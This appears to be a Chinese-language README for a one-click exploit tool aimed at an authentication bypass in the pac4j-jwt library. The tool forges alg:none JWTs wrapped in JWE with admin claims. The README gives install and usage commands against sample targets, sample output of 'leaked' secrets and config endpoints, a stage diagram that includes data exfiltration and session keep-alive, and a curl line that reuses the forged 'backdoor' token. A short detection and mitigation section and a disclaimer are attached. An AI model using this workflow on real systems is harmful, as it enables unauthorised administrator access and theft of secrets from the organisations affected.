CVE-2026-29000 - 通过 JWT alg:none + JWE 加密一键伪造管理员权限
该利用工具将 CVE-2026-29000 武器化,这是 pac4j-jwt 库中一个 CVSS 10.0 的严重漏洞。通过提取服务器的公共 JWKS 密钥,并使用 alg: none 伪造加密的 JWE 令牌,它可实现完全的身份验证绕过,一键授予完整的管理员权限。
alg:none JWT,并使用服务器自身公钥封装| 库 | 受影响版本 | 已修补版本 |
|---|---|---|
| pac4j-jwt | < 5.1.5 | ≥ 5.1.5 |
| pac4j-jwt | 4.x < 4.5.8 | ≥ 4.5.8 |
| pac4j-jwt | 3.x < 3.18.6 | ≥ 3.18.6 |
⚠️ 免责声明:此工具仅用于经授权的安全测试和红队行动。
git clone https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit.git
cd CVE-2026-29000-PoC-Exploit
pip install -r requirements.txt
python exploit.py --help
requirements.txt:
requests>=2.31.0
urllib3>=2.0.0
pyjwt>=2.8.0
cryptography>=41.0.0
jwcrypto>=1.5.0
colorama>=0.4.6
🚀 使用方法
基本一键利用
python exploit.py --target https://victim.com:8443
保存伪造令牌 + 泄露数据
python exploit.py -t https://target.corp:9443 -o admin.jwe -l stolen.txt
自定义 JWKS 的详细模式
python exploit.py -t https://example.com:8080 --jwks /oauth/jwks.json -v
使用代理且不启用保持连接
python exploit.py -t https://192.168.1.100:443 --proxy http://127.0.0.1:8080 --no-keep-alive
自定义保持连接间隔
python exploit.py -t https://victim.com:8443 --delay 10 --max-retries 5
启用 SSL 验证
python exploit.py -t https://legit.com:8443 --ssl-verify
⚙️ 命令行参数
📸 示例输出
$ python exploit.py -t https://10.10.10.100:8443 -o backdoor.jwe -l leak.txt
╔══════════════════════════════════════════════════════════════════════════════╗
║ CVE-2026-29000 - pac4j-jwt Authentication Bypass Exploit ║
║ The Educational One‑Click Admin Forge ║
║ CVSS 10.0 - CRITICAL ║
╚══════════════════════════════════════════════════════════════════════════════╝
[11:23:15] STAGE 1: Acquiring RSA public key from JWKS
[11:23:15] Probing for JWKS endpoint...
[11:23:16] Found JWKS at /realms/master/protocol/openid-connect/certs
[11:23:16] Successfully extracted RSA public key
[11:23:16] STAGE 2: Crafting JWT with alg:none & encrypting into JWE
[11:23:16] Forged JWE token (truncated): eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0...
[11:23:16] ✓ Token saved to backdoor.jwe
[11:23:16] STAGE 3: Sending forged JWE as Bearer token
[11:23:17] ✓ Authentication successful! Access granted to /api/users/me
[11:23:17] STAGE 4: Enumerating accessible endpoints & revealing sensitive data
[11:23:18] ✓ Leaked: /actuator/env (status 200)
[11:23:18] ✓ Leaked: /api/users (status 200)
[11:23:18] ✓ Leaked: /api/secrets (status 200)
[11:23:18] ✓ Leaked: /config/server (status 200)
[11:23:18] ✓ Captured 4 sensitive endpoints → saved to leak.txt
[11:23:18] Keep‑alive session active (Ctrl+C to stop)
[11:23:18] Token (JWE) valid for ~1 hour – reforge if expired
🧠 工作原理
┌─────────────────────────────────────────────────────────────────┐
│ STAGE 1: Public Key Acquisition │
│ ├── Discover JWKS endpoint (15+ known paths) │
│ ├── Fetch JWK containing RSA public key │
│ └── Convert JWK → PEM format │
├─────────────────────────────────────────────────────────────────┤
│ STAGE 2: Token Forging │
│ ├── Create JWT with alg: "none" │
│ ├── Inject admin claims (ROLE_ADMIN, admin: true) │
│ └── Encrypt JWT into JWE using server's public key │
├─────────────────────────────────────────────────────────────────┤
│ STAGE 3: Authentication Bypass │
│ ├── Send JWE as Bearer token │
│ ├── Test 8+ protected endpoints │
│ └── Extract session cookie │
├─────────────────────────────────────────────────────────────────┤
│ STAGE 4: Information Exfiltration │
│ ├── Enumerate 20+ sensitive API paths │
│ ├── Collect configs, users, secrets, environment │
│ └── Save all to leak file │
├─────────────────────────────────────────────────────────────────┤
│ Keep-Alive: Ping /api/ping every N seconds │
└─────────────────────────────────────────────────────────────────┘
🔧 手动使用令牌
利用完成后,可使用 curl 配合已保存的 JWE 令牌:
curl -H "Authorization: Bearer $(cat backdoor.jwe)" https://target.com/api/admin/users
🛡️ 检测与缓解
| 检测方法 | 指标 |
|---|---|
| 日志分析 | 审计日志中的 alg: none JWT |
| 网络监控 | 来自未知 IP 的 JWKS 端点请求 |
| 版本检查 | curl /actuator/info |
缓解措施:
将 pac4j-jwt 更新到已修补版本(≥5.1.5、≥4.5.8、≥3.18.6)
在 JWT 验证器中禁用 alg: none 支持
实施严格的 JWE 验证
监控异常的 JWT 结构
| 参数 | 简写 | 必填 | 默认值 | 说明 |
|---|
| --target | -t | 是 | - | 目标 URL(例如:https://example.com:8443) |
| --jwks | -k | 否 | 自动检测 | 自定义 JWKS 端点路径 |
| --output | -o | 否 | 无 | 将伪造的 JWE 令牌保存至文件 |
| --leak | -l | 否 | leaked_TIMESTAMP.txt | 将泄露数据保存至文件 |
| --verbose | -v | 否 | False | 启用调试输出 |
| --proxy | -p | 否 | 无 | HTTP/HTTPS 代理 |
| --user-agent | -ua | 否 | Mozilla/5.0... | 自定义 User-Agent |
| --no-keep-alive | - | 否 | False | 禁用会话保持连接 |
| --delay | - | 否 | 5.0 | 保持连接心跳间隔(秒) |
| --max-retries | - | 否 | 3 | 每个失败请求的最大重试次数 |
| --ssl-verify | - | 否 | False | 验证 SSL 证书 |